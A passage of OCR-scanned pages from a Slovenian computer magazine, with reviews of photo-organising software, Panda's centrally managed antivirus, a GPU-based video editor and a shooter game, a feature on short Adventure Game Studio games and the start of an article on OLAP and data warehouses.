za tiste, ki Se niso uporabljali tovrstnih pro-
gramov. Primerjava s konkurenco (Picasa 2,
Photoshop Elements) pa ga pusti nekoliko za-
daj tako po mo¥nostih obdelave slik kot tudi
=2=4= " Gorel Photo Album 6
Deluxe je zadovoljiv
program za nalaganie,

urejanje in obdelavo
slik, Geprav je za
zahtevne uporabnike
na trgu tudi nekaj
zanimivejSih izhir.

po diskih naSega racunalnika in dodajanje v
datumsko urejene zbirke.

Slike i§¢emo po hierarhi¢no urejenih kljug-
nih besedah, ki jih moramo seveda vnesti, pri
tem opravilu ne pomaga nobena umetna inte-
ligenca. TakSen program seveda ne more biti
brez orodij za obdelovanje slik. Teh je kar ne-
kaj, ¢eprav smo pri¢akovali ve¢ kot le osnov-
na orodja, med katere sodijo Quick Fix, ki po
svoji presoji popravi sliko, spreminjanje sve-
tlosti, ostrine, odstranjevanje rdecih oci, do-
dajanje okvirja in robu ipd. Ni& pretresljivega
na tem podrodju.

Tudi moZ#nosti izvoza so klasi¢ne. Lahko iz-
delamo foto album, vos¢ilnico, koledar, certifi-

po izvozu. Cudno, glede na to, kako dobre ko-
rekcijske filtre ima Corel Paint Shop Pro X, ki
tudi zapis RAW podpira neposredno. Morda bi
veljalo oba programa neko¢ zdru%iti?

|

Gorel Photo Album 6 Deluxe

Kaj: Program za urejanje digitalnih fotografij.

Za: Enostavnost, dobre moznosti izvoza, Corel
Downloader, samodejni pregled diskov.

Proti: Ne podpira neposrednega nalaganja zapisa
RAW, slabe moznosti obdelave slik.

Operacijski sistem: Windows 2000 XP

Cena: 49 dolarjev

Spletni naslov proizvajalca: www.corel.com.
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PREIZKUSILI SMO ...
Panda WebAdmin Antivirus

RAZBREMENITEV IT-OSEBJA

Pogledali smo si posebno razliCico protivirusnega programa 3
Panda Antivirus, ki je primerna zlasti za podjetja in vecja okolja
z ve¢ racunalniki na ve¢ lokacijah.

Armplr Deplopmes

PiSe: Jaka Mele

racunalnikih je pre- | e, [ —————
jaka.mele@mojmikro.si gledno, v povpregju . gl Lyl [
program ZaSeda OkO’ cmem i A iy T e i e S A L T*F.-H‘_'_'_F—
. - “ . ety T NS gt R e e i e by p 1_::ﬁ
anda WebAdmin Antivirus omogoca li 30 MB delovnega e e i g e i
centralizirano upravljanje s protivirus-  pomnilnika, §&iti pa et - L bt f I
no zaiito z enega mesta za vse racu- tako trenutni dostop L P I —— i
nalnike v omre%ju, delovni skupini oz.  do datotek kot tudi - -
. . . . v . =F = = - bl
domeni. Tako je od trenutka namestitve proti-  elektronsko posto in iy | o Pieicten [Py WM

virusnega programa ciljni ratunalnik zai¢iten,
uporabniku pa ni treba skrbeti za ni¢ veg, saj
tako nadzor kot tudi prenafanje popravkov in
vzdrievanje potekajo samodejno. Upravljavec
vse delo opravlja prek spletnega vmesnika, z
enega mesta, brez potrebe po fizi¢ni prisotnosti
ob ciljnih ra¢unalnikih. Namestitev in zadetek
dela s programom sta preprosta. Upravljavec
prek spletnega vmesnika najprej dologi var-
nostne pravilnike oz. na¢in obnaSanja, pre-
verjanja in C¢iS¢enja virusov, nato vzpostavi
skupine, v katere razporedi uporabnike oziro-
ma racunalnike, ter dolo¢i nacin namestitve
programa v ralunalnike: namestitev lahko
»potisne« do radunalnikov (kar pomeni, da
ni potrebe po posegu konénega uporabnika)
oziroma uporabnik klikne na spletno povezavo
in sprozi omrefno namestitev ali pa si prenese
celotni namestitveni program. Ob pogiljanju
namestitvenih Yetonov uporabnikom lahko
dolo¢imo tudi datum veljave (&e niso porab-
ljeni, je upravljavec obvei¢en) namestitve in
Stevilo licenc, ki si jih lahko uporabnik (pod-
ruZnica) namesti.

PREGLEDNOST IN PRILAGODLJIVOST

Upravljanje prek spletnega vmesnika je pre-
gledno, nastaviti je mo¢ veliko parametrov. Za
razli¢ne skupine uporabnikov lahko dolo¢imo
razli¢ne pravilnike (profile), kjer lahko izbe-
remo, ali bo delovanje protivirusa uporabniku
sploh prikazano (ikona v statusni vrstici), na-
stavljamo interval osve¥evanja protivirusnih
informacij, nastavljamo interval poro¢anja ra-
Cunalnika nazaj v spletno zbirko (iz katere ima
upravljavec pogled na varnostno stanje vseh
racunalnikov).

Poleg %e znanih nastavitev, kot so preisko-
vanje stisnjenih datotek in tipi datotek, ki se
preiskujejo, Pandin Webadmin omogota v
varnostnem pravilniku $e nastavitev, ali se ob-
vestilo o zaznanem virusu uporabniku prikaZe
(skrbnik je obves¢en v vsakem primeru), moc
pa je sestaviti tudi seznam datotek ali map, ki
jih ni treba preiskovati. V pravilniku se dolo¢i
tudi interval za ponavljajo&i se polni pregled
sistema, mo?no pa je za posamezne (ali vse)
ratunalnike programiranje opravil (spro¥iti vi-
rusno preiskovanje na zahtevo) na daljavo.

Delovanje Panda Antivirusa v varovanih
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dokumente pisarni-
gkih aplikacij ... Vsa
komunikacija s stre?-

nikom WebAdmin,
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pravkov in nadgradenj, poteka prek protokola
HTTP, s ¢imer niso potrebna prilagajanja po-
Yarnega zidu. Sistem tudi samodejno preverja
to komunikacijo, in ¢e pride do napake med
prenosom novih protivirusnih knji¥nic, do
uspeSnega prenosa ponovno uporablja stare.
Tudi poraba pasovne $irine za prenose poprav-
kov in nadgradenj je minimalna, saj le ena po-
staja v skupini oz. krajevnem omreZju prenese
popravke iz Pandinih stre?nikov, nato pa jih po
samodejnem postopku P2P (peer to peer) pre-
nese do drugih.

Upravljavec ima prek spletnega vmesnika
vedno dostop do vseh podatkov, vklju¢no s
tem, kdo je program kdaj namestil, in povrat-
ne rezultate preiskovanja posameznih racunal-
nikov — kdaj so bila ta opravljena in ali so bili
odkriti virusi. Spletna poro¢ila je mo¢ izdelo-
vati in pregledovati tudi za poljubno obdobje

e

in s poljubnimi filtri. WebAdmin podpira veg
razli¢ic programa Panda Antivirus, s ¢imer je
upravljanje nastavitev Se vedno centralizira-
no.

SAMO ZA INTERNET EXPLORER?

Zal spletni vmesnik deluje samo v brskalni-
ku Internet Explorer, medtem ko v Morzilli-
nem Firefoxu ne. Za veliko varnostno podjet-
je, kot je Panda je to Ze sme$no, saj je bil prav
Internet Explorer $e do nedavnega najbolj na
udaru &¢rvov in napadov, ki so izkoris¢ale luk-
nje v njem.

RAZBREMENITEV IN ZMANJSANJE STROSKOV

WebAdmin je odli¢no orodje, ki je zmo?no
dnevno obremenitev [ T-osebja glede ponavlja-
jotih se opravil (obiski ratunalnikov, nadgrad-
nje antivirusa, tedensko preverjanje diskov) z
izijemno prilagodljivostjo (namestitev je moc
opraviti tudi v prenosni racunalnik, &eprav
je ta na drugi strani sveta) zmanj$ati na ne-
kaj minut dnevno, kar vsekakor vpliva tudi na
skupne stroske! Morda ravno zato cena Pan-
dinega WebAdmina ni med najni?jimi, saj se
cena enoletne licence zaéne pri okoli 60 evrih
na racunalnik, a nato s koli¢ino pada. Tako pri
30 ra¢unalnikih stane %e manj kot 50, pri 2000
postajah pa 26 evrov.



CAROVNIJE

S FOTOGRAFIJAMI

Na trgu je mo¢ zaslediti kar precej programskih paketov za
organiziranje fotografij z domacim raCunalnikom. Kaj nam

ponuja Microsoftov paket?

Pise: Milan Siméié¢
milan.simcic@mojmikro.si

adnjem casu je precej v porastu prodaja di-
gitalnih fotoaparatov in ljudje fotografirajo
precej ve kot so pred Casom. Poleg tega so
fotografije praktiéno brezplac¢ne in na voljo

takoj. Edina slabost je, da njihova koli¢ina raste iz
dneva v dan, kar pomeni, da jih je treba smiselno
organizirati, saj se sicer kaj hitro izgubimo.

Microsoftov Digital Image Suite 2006 je pa-
ket orodij, ki nam bodo pomagala pri urejanju
nasih zbirk fotografij. Programski paket je tipi-
&en Microsoft izdelek, saj

Microsoft Digital Image Suite 2006

treba popraviti. Ob koncu si lahko naredimo
tudi arhiv na CD-ju ali pa prek elektronske pos-
te posljemo slike drugim. Seveda se tudi v tem
primeru odpre &arovnik, ki poskrbi, da poslane
slike ne bodo prevelike.

UREJANJE SLIK

Tretje orodje pa je Digital Image Editor, ki je
tudi zelo mo¢an pripomo&ek s kar nekaj u¢inki,
ki jih redko najdemo pri drugih programih. Eden
takih je zagotovo Smart Erase. Iz fotografije lah-
ko izrefemo segment, program pa luknjo nado-
mesti z ozadjem iz okolice. Seveda so tu e vsa

nas skozi vsak korak vodijo  SF= ===
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gubili. V&asih se mi res zdi, i
. . S
da imajo nas uporabnike
pri Microsoftu za tepce.
No, morda pa nisem tipi-
&en Microsoft uporabnik.
Skratka tudi in predvsem
tisti, ki se na racunalnike
ne spoznajo, bodo v tem
paketu nasli mo¢no orodje
za shranjevanje slik, njiho-
vo obdelavo in vse, kar sodi
zraven. = e
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DIAPROJEKCIJA SLIK

Zelo moé¢no orodje je recimo Photo Story
3.1, s katerim naredimo diaprojekcijo iz svojih
fotografij. Spet nas skozi program vodi &arovnik.
Najprej izberemo slike, nato program po potrebi
odstrani ¢rne robove. Izberemo Se prehode med
slikami, dodamo glasbeno spremljavo in filmeek
shranimo, recimo v formatu wmf. Lahko pa se-
veda izberemo format tudi glede na uporabo -
&e ga bomo, recimo, predvajali na dlan&niku.
Skratka, v nekaj korakih dobimo zelo kakovo-
sten izdelek.

KNJIZNICA FOTOGRAFIJ

Digital Image Library je program, ki poskrbi,
da so naSe fotografije in tudi filmi urejeni kot
je treba. Slike lahko prenesemo neposredno iz
fotoaparata. Program pozna tudi format zapisa
RAW, kar pride prav zahtevnej$im fotografom.
Pri vsaki fotografiji lahko pri znatilnostih (Pro-
perties) pogledamo, kakine so bile nastavitve
fotoaparata in objektiva. Dodamo lahko »na-
lepke«, s katerimi dolo¢imo kam in v katero ka-
tegorijo slika spada. Slikam lahko dodelimo do 5
zvezdic, z razli¢nimi zastavicami pa si naredimo
opomnik, kaj je s sliko $e treba narediti, kaj je

tista standardna orodja za odstranjevanje rde¢ih
oti, izravnavo beline in podobno. Za zahtevnej-
Se pa so na voljo tudi panoramski posnetki, ki
jih sestavimo iz ve& fotografij. Spet se odpre ¢a-
rovnik, prek katerega izberemo fotografije, pro-
gram pa jih sam zloZi skupaj. Zares enostavno.

V VESELJE ZACETNIKOM

Digital Image Suite 2006 je programski paket
z veliko potenciala. Se najbolj se ga bodo raz-
veselili zacetniki, ki se s fotografijo $e seznanja-
jo. Tisti zahtevne;jsi pa bodo dobili ob&utek, da
jih vsi tisti Carovniki precej omejujejo pri kre-
ativnosti. Res je, da tudi ¢arovniki pus¢ajo kar
nekaj kreativnosti in svobodne izbire, vendar si
véasih ¢lovek Zeli narediti tudi kaj brez pomoci.
Zaradi podpore formatu RAW, bi lahko uvrstili
paket tudi med tiste, namenjene zahtevnejsim
amaterjem, ki svojo kreativnost izra¥ajo prek teh
formatov. Sicer pa orodje priporo¢am vsem, saj
bodo zelo hitro in na enostaven na&in, brez pre-
velikega truda prisli do dovolj dobrih rezultatov.
Vpraganje je, ali tudi kdo izmed zahtevnejsih fo-
tografov ne bo posegel po tem orodju za prepro-
ste operacije, saj so profesionalna orodja glede
tega precej zamudna. H
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PREIZKUSILI SMO ...

Tenomichi 3D Edit Gold V3

UREJANJE VIDEA

Z GRAFIGNO KARTICO

Pise: Jaka Mele
jaka.mele@mojmikro.si

enomichi 3D Edit, katerega polno funkci-

onalno, posebno razlicico najdete tudi na

tokrathem Mikro CD-ju, za svoje delova-

nje potrebuje grafi¢no kartico, ki je zmozna
strojno pospeSevati nabor ukazov zbirke DirectX
9.0. Pri svojem delu se program namre¢ opira na
sendilni model 2 (Shader Model 2), kjer vsak 3D-
prehod oz. u¢inek izvaja v svojem sencilniku. Ker je
tudi celoten uporabniski vmesnik pravzaprav 3D-
model, je mo¢ tudi predogled videa ali posamezna
okna, menije hitro povecati &ez ves zaslon.

)
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DOVOLJ JE ZE »NAVADNA« KARTICA ...

Seveda je hitrost izrisovanja odvisna od mo¢i
grafi¢ne kartice, vendar naj bi normalno delo
omogocale %e kartice iz srednjega cenovnega
razreda, ki se prodajajo najbolj mno¥i&no (ATI
9550 oz. X300 in zmogljivejse ter Nvidia 5700
in zmogljivejse). Celoten seznam zdruZljive
opreme je na voljo na naslovu www.tenomic-
hi.com/Compatible.htm. Sama mo¢ kartice pri
delu nima pomembne vloge, edini kriterij sta
strojna podpora knjiZnici DirectX 9.0 in §tevilo
cevovodov. Seveda pa bo tudi grafi¢ni vmes-
nik videti veliko lepse, ¢e boste v nastavitvah
svoje grafike izbrali meh¢anje robov in druge
dobrote. Program namre¢ izrablja vse prednosti
3D-vmesnika (mimogrede, v to smer bo $el tudi
prihajajo¢i Windows Vista).

Tudi najmocnej$a igralca v svetu urejanje
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Vrzite proC specializirane pospeSevalnike za urejanje videa, v mesto
je priSel nov igralec, ki spreminja teorijo in prakso dosedanjega
dela! Program 3D Edit podjetja Tenomichi namre¢ za realnoCasovno
urejanje videa, dodajanje prehodov in ucinkov izkoris¢a kar
procesno mo¢ modernih grafiénih kartic. Je gola procesna mo¢
dragih graficnih kartic kon¢no nasla uporabo zunaj najnovejsih iger?

Kako namestiti 3D Edit

Pozor! Popust za hralce Mojega mikra!

Pri nakupu programa Tenomichi 3D Edit
Gold V3 imajo bralci Mojega mikra 20-
odstotni popust. Ve¢ informacij najdete
na spletni strani www.tenomichi.com/
mojmikro. Ob prijavi uporabite uporab-
nisko ime: »BeremMojMikro« in geslo:

»3DEMojMikro«.

TUDI FILTRIRANJE IN ZAJEM VIDEA

Program omogoca urejanje in montiranje vi-
dea prek osmih video in treh avdio stez. Ure-
janje poteka po ustaljenem prijemu ¢asovnega
traku, kjer pa smo pogresali ve¢jo natanénost,
saj je bilo v nekaterih primerih tezko izbrati Ze-

-_“_.“_

videa, Canopus in Pinnacle
sta v zadnjem letu naredila
nekaj korakov v smer izko-
ris¢anja procesne moci ra-
Cunalnikovega procesorja in
grafi¢ne kartice, kar je vide-
ti tudi v programih Pinnacle
Liquid Edition 6 in Cano-
pus Edius. A Tenomichi
je Sel korak dlje in grafi¢ni
procesor izrabil za celotno
delovanje, saj je popolnoma
vse procesiranje prenesel
v strojno pospeevane sen-
Cilnike DirectX. Najnovej-
Se grafi¢ne kartice ATI in
Nvidia imajo tudi 16 in ve&
cevovodov, kar pomeni, da
lahko soCasno izrisujemo in procesiramo toli-
ko 3D-prehodov oz. u¢inkov.

=

»NABIT. UPORABNISKI VMESNIK

Ceprav se zdi uporabnitki vmesnik na prvi po-
gled nepregledno nabit in skorajda kicast, pa po
spoznavanju in raziskovanju kmalu postane zelo
prirocen. Nekatere gumbe oziroma orodne vrsti-
ce lahko namre¢ vrtimo (3D-vmesnik, obraca-
mo valj z gumbi) in hitro dostopamo do sorodnih
funkcij. Zal sta v povprecju za izvedbo dolocene
funkcije potrebna vsaj dva klika. Seveda pa je
mo¢ videz vmesnika z %e uveljavljenim koncep-
tov preoblek oz. ko? tudi zamenjati.

Program vsebuje tudi deset uvajalnih videov,
ki uporabnika vodijo skozi osnovne in nadalje-
valne koncepte in nacin dela. Za resnejse delo bo
treba prebrati navodila v formatu HTML.

Sledite navodilom v priloZeni besedilni datoteki: uporabniki sistema Windows XP morajo pred
namestitvijo nalofiti servisni paket 2, prav tako pa je za normalno delovanje programa potreben
predvajalnik Microsoft Media Player 10 (prost prenos z Microsoftovih spletnih strani). Ce SP2 ne
morete ali no¢ete namestiti, zado$¢a namestitev grafi¢ne knjiznice DirectX 9.0c (prost prenos). Za
namestitev dvakrat kliknite na datoteko 3DEditGoldV3SE.msi in sledite navodilom. Pred upora-
bo programa se pove¥ite v internet, saj program samodejno preveri, ali so na voljo posodobitve.

Nadgradnja s posebne na polno razlicico V3

Edina omejitev posebne razli¢ice programa je majhen napis podjetja Tenomichi v obliki vodne-
ga Ziga na vaSem kon¢nem izdelku. Tega odpravi nadgradnja na polno razli¢ico V3, v ceno pa je
vkljucen tudi dostop do ve&jega stevila prehodov in ucinkov.

leni okvir. Program zna uvoziti razne video zapi-
se, vklju¢no z Windows Media Video HD (1440
x 1080), izvoziti pa tudi v datoteko DV AVIL.
Poglavitna prednost, ki 3D Edit lo¢i od konku-
rence, pa je sistem za filtriranje videa, pogon
Shaderman. Ta namre¢ uporablja povsem sa-
mosvoj nadin dela. Shaderman prek krmilnih
gumbov omogo¢a nalaganje in spreminjanje
filtrov, barvnih popravkov, uporabo barvnega
klju¢a (chroma keying) in popoln nadzor nad
vsemi njihovimi parametri.

Razveseljivo je to, da ima 3D Edit priloZen
tudi program za zajem videa. Gre za povsem lo-
&en program, ki omogoca zajem bodisi iz DV -
vira (digitalne kamere) prek vmesnika firewire
ali iz WDM-vmesnika grafi¢nih kartic (analog-
ni viri, kot so starej$e video kamere, videore-
korderji ...). Slednji omogoca tudi ve nastav-
ljanja in prilagajanja, medtem ko ob zajemu iz
DV - vira ni mo¢ (in ni potrebe) veliko spre-
minjati. UvoZeni video je mo¢ shraniti v kateri-
koli kodek, names¢en v racunalniku, vendar za
nadaljnjo obdelavo priporo¢amo format DV ali
M-JPEG. Pri delu s programom za zajem videa
ostaja Se veliko odprto, a Tenomichi se pomanj-
kljivosti zaveda in jih namerava kmalu odpravi-
ti z brezpla¢no nadgradnjo. B

Tenomichi 3D Edit Gold V3

Za: Izraba moci grafiénih kartic, hitrost, enostavnost,
funkcionalna odli¢nost, ki v delih premaga celo
najdrazje profesionalne programe.

Proti: Sprva kompleksen vmesnik - delo z
datotekami je sploh grozno, majhno Stevilo prehodov
in ucinkov.

Cena: 93 EUR







PREIZKUSILI SMO ...

igre Flash: AGS-scena

KDOR Z MALIM
ZADOVOLJEN NI ...

V prejSniji Stevilki smo zelo na hitro opisali eno izmed najboljSih orodij za tovrstno

kreativno dejavnost: Adventure Game Studio. Dotaknili smo se tudi najvecjega razloga,
zakaj vecina ljudi kmalu dvigne roke nad razvojem iger: ker je postopek predolg in
prezapleten. Zaradi tega je kmalu po prihodu AGS-a, »trg« preplavil val kratkih iger ...

Pise: Matej Frece
matej.frece@mojmikro.si

A" 4
loveska kreativnost je neuni¢ljiva. Clovek
kot bitje mora biti nenehno v pogonu, ne-
nehno nekaj poceti, razmisljati, ustvarjati,
biti v gibanju — sicer se zamori in vse bolj
nagiba k samouni¢enju. Toda ¢e se kak$na zadeva
izka¥e za prevelik zalogaj (kot je recimo ustvarja-
nje iger) mnogo nadebudne?ev raje ne odneha,
temvec si privoiijo le manjii zalogaj. Taksnega, ki
ga zmorejo prezvediti. Zaradi tega je kmalu po pri-
hodu AGS-a, »trg« iger preplavil val kratkih iger.
To so bile zgodbice, polne ugank, ki se jih je dalo
refiti v nekaj minutah oz. za najdaljse ste potrebo-
vali tam do dve ali tri ure. Danes si bomo ogledali
nekaj boljiih tovrstnih iger.

Avtorjev je bilo sprva srameZljivo malo. Iz-
delki so bili graficno borni (ve¢inoma narisani
v MS Paintu), zvoka skoraj ni bilo, zgodba in
dialogi pa neverjetno leseni, nedorecenti, skrat-
ka vse skupaj je bilo videti precej neuporabno.
Slo je za igre, ki so recimo imele naslov Pobeg
iz moje hiSe in podobno. Skratka, nezanimivo,
nenavdusujoce. Toda kmalu je iz te sive mno¥ice
avtorjev pokukala glava, ki je bila kot rojena za
ustvarjanje kratkih iger.

NA SCENO STOPI BEN CROSHAW

Ben Croshaw, takrat $e sedemnajstletnik, je Ze
v teh svojih rosnih letih pokazal, da ima izjemen
obcutek za pisanje duhovitih zgodb, iskrivih dialo-
gov, cini¢nih in absurdnih vicev, hkrati pa je imel
dober talent, da je vse to s smiselnimi ugankami
vred zapakiral v vie¢no igro. Pisati je zacel e pri
12-ih, najprej tako, da je iz naslovnic pisanih ve-
stern romanov sestavljal svoje stripe (www.fully-
ramblomatic.com/cowboys.htm), potem se je lotil
iger, toda razcvetel se je Sele, ko je zacel ustvarjati
z AGS-om. Za&el je s serijo iger Rob Blanc (trije
deli), od katerih je zadnja e najboljsa. Gre za vari-
acijo na temo vesoljske komedije, podobne, kot je
bil v&asih Sierrin Space Quest.

Naslednja stvar, ki jo je Ben naredil, je bila pre-
cej zanimiva. Ustvaril je projekt Reality On The
Norm (skrajsano RON). Ceprav je bila to tudi
istoimenska igra (humorna, kajpada), v bistvu ni
8lo toliko za igro, kot pa za idejo oz. koncept. Ben
je RON predstavil kot skupinski projekt. Ustvaril
je osrednje okolje (mestece v RON), nato pa ga
dal javnosti na voljo. Tako je lahko vsak ustvaril
svojo igro, ki se dogajala v okolju RON in tako
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dodal »nadaljevanje« prej$njim igram drugih avto-
rjev. Tako je nastala neke vrste »knjiga« med seboj
neodvisnih, toda smiselno povezanih poglavij. Re-
cimo, &e ste v kaksni izmed iger RON naleteli na
zanimiv stranski lik, ste lahko ustvarili svojo igro
RON, kjer je bila ta oseba glavni junak. Trenutno
obstaja okoli iger 30 RON, ki jih je ustvarilo pre-
ko 20 avtorjev. Najdete jih na http://ron.the-un-
derdogs.org/games.php

Ben Croshaw pa se tu ni ustavil. Ker je imel
humornih zadev dovolj, je zacel ustvarjati res-
ne grozljivke. Igri 5
Days A Stranger ter
7 Days a Skeptic sta
lep primer krvavih
trilerjev, ki pa zaradi
svoje okorne grafike
seveda ne delujeta
tako $okantno. Ben e
danes velja za enega najbolj plodovitih avtorjev
najboljsih kratkih iger — upajmo, da se mu kmalu
uresnici Zelja po sponzorju, ki bi financiral razvoj
prave, dolge, komercialne igre. Do takrat pa vse
njegove izdelke najdete na www.fullyrambloma-
tic.com/games.htm. Vsekakor vredno ogleda.

CIRQUE DE ZALE

A AGS-scena se z Benom seveda ne konca.
Obstaja $e milijon drugih naslovov, nekaterih
boljsih, nekaterih slabsih. Od njih velja omeniti
recimo Cirque De Zale, ki v marsi¢em spomi-
nja na legendarno Secret of Monkey Island,
ne samo po zgodbi, sme¥nih dialogih, odbitih
ugankah, temve¢ tudi po grafiki, ki je nekje na
ravni prvih dveh delov Opi&jega otoka. Zgodba
se vrti okoli mladenica, ki bi moral reiti ugrab-
ljeno princeso. Ampak komu mar za ¢loveka v
stiski? Vi boste raje poskusili postaviti cirkus in
zasluZiti mastne denarce ... Igro najdete na www.
reloaded.org/game.php’GamelD=3.

APPRENTICE

Se ena posreena igra je Apprentice, ki se
lahko pohvali z govorjenim besedilom, ki ama-
terskim igralcem navkljub sploh ne zveni tako
napacno. Pravzaprav obstajata kar dva dela, s to
razliko, da drugi del %e skoraj spada v kategorijo
»dolgometratnih« iger. V vlogi &arovnikovega
vajenca mora izpolnjevati vse uditeljeve kaprice
in %elje, pri tem pa boste marsikdaj morali po-
kazati ve&je spretnosti od njega. Lustno. http://
herculeaneffort.adventuredevelopers.com/ap-
prentice.html

LARRY VALES

Ena izmed prvih iger, narejena z AGS-som,
je Larry Vales iz leta 2000, a je $e danes precej
zanimiva za ogled. Seveda, grafika ni ravno na
ravni Da Vincija, toda humor, preZet z nestetimi
referencami na takratno pop kulturo, je e danes
aktualen. Larry Vales je prometnik v mestecu
Stagnant (Zastalo mesto) in Zivi svoje povpre¢no
%ivljenje. Toda lokalni zlobne? dr. Semprini je iz-
umil robota, ki naj bi nadomestil prometnike.
Seveda ima robot majceno napako — za napaéno
parkiranje mes¢ane kaznuje s smrtno kaznijo, ki
jo na mestu dogodka tudi izvrsi (vsebina podo-
bna Robocopu 2). Igro in njeno $e bolje nada-
ljevanje najdete na www.phil-reed.com/games/.

SEZNAM AGS-IGER

Glede drugih iger velja omeniti spletno stran
www.bigbluecup.com/games.php, kjer najdete
seznam domala vseh iger, ustvarjenih z AGS-
om. Lepo so kategorizirane po dol¥ini igranja,
najdete tudi ob&asna tekmovanja za najboljso
igro, celo v precej ¢udnih kategorijah, kot je
npr. igre s samo eno sobo itd. Vsekakor si velja
ogledati tiste, ki so bile izbrane za igro meseca,
med njimi, recimo, Permanent Daylight ali
serijo iger o Benu Jordanu, detektivu paranor-
malnega... Skratka, dobrih iger je za prihajajoce
dolge zimske noci ve& kot dovolj in kar je naj-
lepSe — vse so popolnoma zaston;.

V naslednji Stevilki si bomo pogledali, kaj
zanimivega nastane, ko se za razvoj igre odlo¢i
skupina amaterjev z neskon&no zalogo potrpe’-
ljivosti ... in talentom. W



PREIZKUSILI SMO ...

NA TOCKI VRELISCA

Ce $e niste ocka, potem si to te7e predstavijate. Namreg, vaso ljubo héerko so
v zakotnem koncu sveta ugrabile nebodigatrebe, in edini, ki jo lahko resi, ste vi ...

PiSe: Alan Orli¢ BelSak
alan.orlic@mojmikro.si

oskusimo zgodbo $e malce zaplesti.

Namesto, da bi se vasa draga h&erka uk-

varjala z dekligkimi dejavnostmi, recimo

obiskovanjem nakupovalnih sredi3¢, raje
zahaja v tiste dele sveta, kjer se ljudem doga-
jajo krivice in o tem napise ¢lanci¢ ali dva. A
nekega dne gredo stvari narobe in dva neznanca
sta odloCena, da ji bosta pokazala e tiste manj
obiskane turisti¢ne zmogljivosti prelepega karib-
skega otoka. Tu seveda stopi v igro na§ dragi ata,
ves v skrbeh za svoj biser. Med potjo na otok
se sprasuje, kaj je naredil narobe. Se je morda
preved ukvarjal s sluzbo? Ali ni poskusal narediti
zanjo najved, kar ocka lahko? So bila kriva vsa
tista slufbena potovanja! Mimogrede, gospod
je bivdi ¢lan francoske tujske legije in razli¢na
oroZja mu niso prav ni¢ tuja. Celo pilotirati zna,
brez te¥av se skobaca v pilotsko kabino helikop-
terja in naredi z njim nekaj krogov nad otokom,
da o vo?nji drugih vozil ne zgubljamo besed. Sk-
ratka, pred seboj imamo imamo gospoda, ki ve,
kako se vojagkim ve3¢inam stre¥e in misijo, reiti

Revolucionama metoda
hibridnega rastriranja

njegovo heer. Kraj dogajanja, izmiljen tropski
otok, nekje v Juzni Ameriki.

AKCIJSKA PUSTOLOVSGINA

Programeriji so se potrudili in naredili zelo ve-
lik virtualni otok, kar 250 km?, na katerega
imamo pogled iz prve osebe, kot je v navadi
pri strelskih igrah od Dooma dalje. S to razliko,
da tu ni v ospredju le streljanje, temve& pred-
vsem pustolovi¢ina. Z razli¢nimi liki skozi igro
se lahko pogovarjamo in tako pridobivamo in-
formacije. Ti imajo o nas na zacetku nevtralno
mnenje, ki se lahko skozi igro spremeni v pozi-
tivno ali negativno. Ker na na$i misiji nimamo
neomejeno sredstev, poleg tega nekateri Zelijo za
informacije protiusluge, se lahko zaposlimo v ka-
teri od tovarn po otoku, in ko je na§ lik utrujen,
mu lahko privo$¢imo nekaj virtualnega spanca.
Naloge so razli¢ne in refevanje dekleta postane
postranska zadeva.

NERODNOSTI

Boiling Point ima odli¢no idejo, ki pa zvode-
ni ob teZavah in nedoredenosti. Prva stvar, ki
morate narediti po nastavitvi igre, je poiskati

Boiling Point  Road to Hell

najnovejSe popravke, sicer se boste sredi doga-
janja znasli v drugem virtualnem svetu, ki slisi
na ime Windows. Pri nastavitvi popravkov bod-
ite previdni, da boste nali prave, saj se nam je
zgodilo, da igra ni ve& hotela delovati. Pripravite
se tudi na to, da boste po nastavitvi igre ostali
brez okoli 3 GB prostora na trdem disku. Atariju
je meSanica med pustolovi¢ino in strelsko igro
predvsem zaradi tehni¢nih te¥av uspela manj,
kot bi pri¢akovali od tako znanega zalonika. W

Boiling Point Road to Hell

Kaj: Prvoosebna strelska igra s primesmi pustolovsCine
Za: Pogovor z liki, grafika

Proti: Tehni¢no nedodelana, tezave s programom in
popravki

Cena:

Posodil:

Spletna stran: www.atari.com

CTP enote za osvetlievanie
tiskarskih plosd - serija PiateRite

MCA d.o.0.

Irhatica cesla 85

D

20} Maribar
wedefan 02 330 14 00
WWW. LA, 5

Sirimo vag svetl

SCREEN

(MEDIA TECHNOLOCY)

b, Caneiaipal (esara



podatkovne zbirke

Vloga tehnologije OLAP je predvsem iz obilice podatkov izlusCiti pravila ali dejstva, ki
jih na prvi pogled ne opazimo. Primerna je za obravnavanje velike koli¢ine ustrezno

pripravljenih podatkov iz sistema OLTP.

Pise: Darko Jagarinec
darko.jagarinec@mojmikro.si

prejdnji Stevilki Mojega mikra smo spo-

znali poglavitne razlike med tehnologijo

OLTP (On-Line Analytical Processing)

in transakcijskim sistemom OLAP (On-
Line Transaction Processing). Pri tem imajo
klju¢no vlogo urejeni podatki, ki se iz siste-
ma OLTP prenesejo v podatkovno skladisCe.
Uporaba tehnologije OLAP v transakcijskem
sistemu OLTP nam ne bi prinesla zadovoljivih
rezultatov, niti ne pravilnih. Zato se tehnologi-
ja OLAP skoraj vedno uporablja nad podatki v
podatkovnem skladiscu.

Podatkovno skladis¢e si lahko predstavljate
kot vnaprej dogovorjeno in urejeno mnoZico
podatkov. Podatki se v dolo¢enih ¢asovnih in-
tervalih prenasajo iz sistema OLTP in se lahko
ob neuspelem prenosu ponovno prenesejo, ker
se podatki v podatkovnem skladis¢u ne uporab-
ljajo za tekoe pregledovanje stanja transakcij
ali poslovanja, temve& vedno za dolo¢eno &aso-
vno obdobje nazaj. Zelo preprost primer bi bil,
da vsako dan po polnoci prenesemo po tono
dologenih procedurah podatke iz sistema OLTP
v podatkovno skladiste. Ce prenos ne uspe, ga
lahko ponovimo pozneje ¢ez dan, vendar v tem
primeru %e lahko obremenimo in upo&asnimo
delovanje sistema OLTP. Zato je najbolje prena-
Sati te podatke med sistemoma v ¢asu najmanjse
obremenjenosti, ponavadi ponoci. Ko so podatki
preneseni v podatkovno skladis¢e, lahko upora-
bimo programska orodja, ki uporabljajo tehno-
logijo OLAP, in na3 prvi korak je, da preverimo
preteklo poslovanje. Razumljivo je, da bi to lah-
ko izvedli tudi na sistemu OLTP, vedeti pa mo-
ramo, da je sistem OLTP %e dovolj obremenjen.
Ce spremenimo kriterije za iskanje podatkov, se
Ye prvi¢ pokaZe prednost uporabe tehnologije
OLAP. Ker ta tehnologija uporablja podatke, ki
so lo¢eni od transakcijskega sistema OLTP, lah-
ko izvajamo najrazli¢nejSe analize in poizvedbe
nad podatki v podatkovnem skladisée, ne da bi
s tem motili trenutno delovanje sistema OLTP.
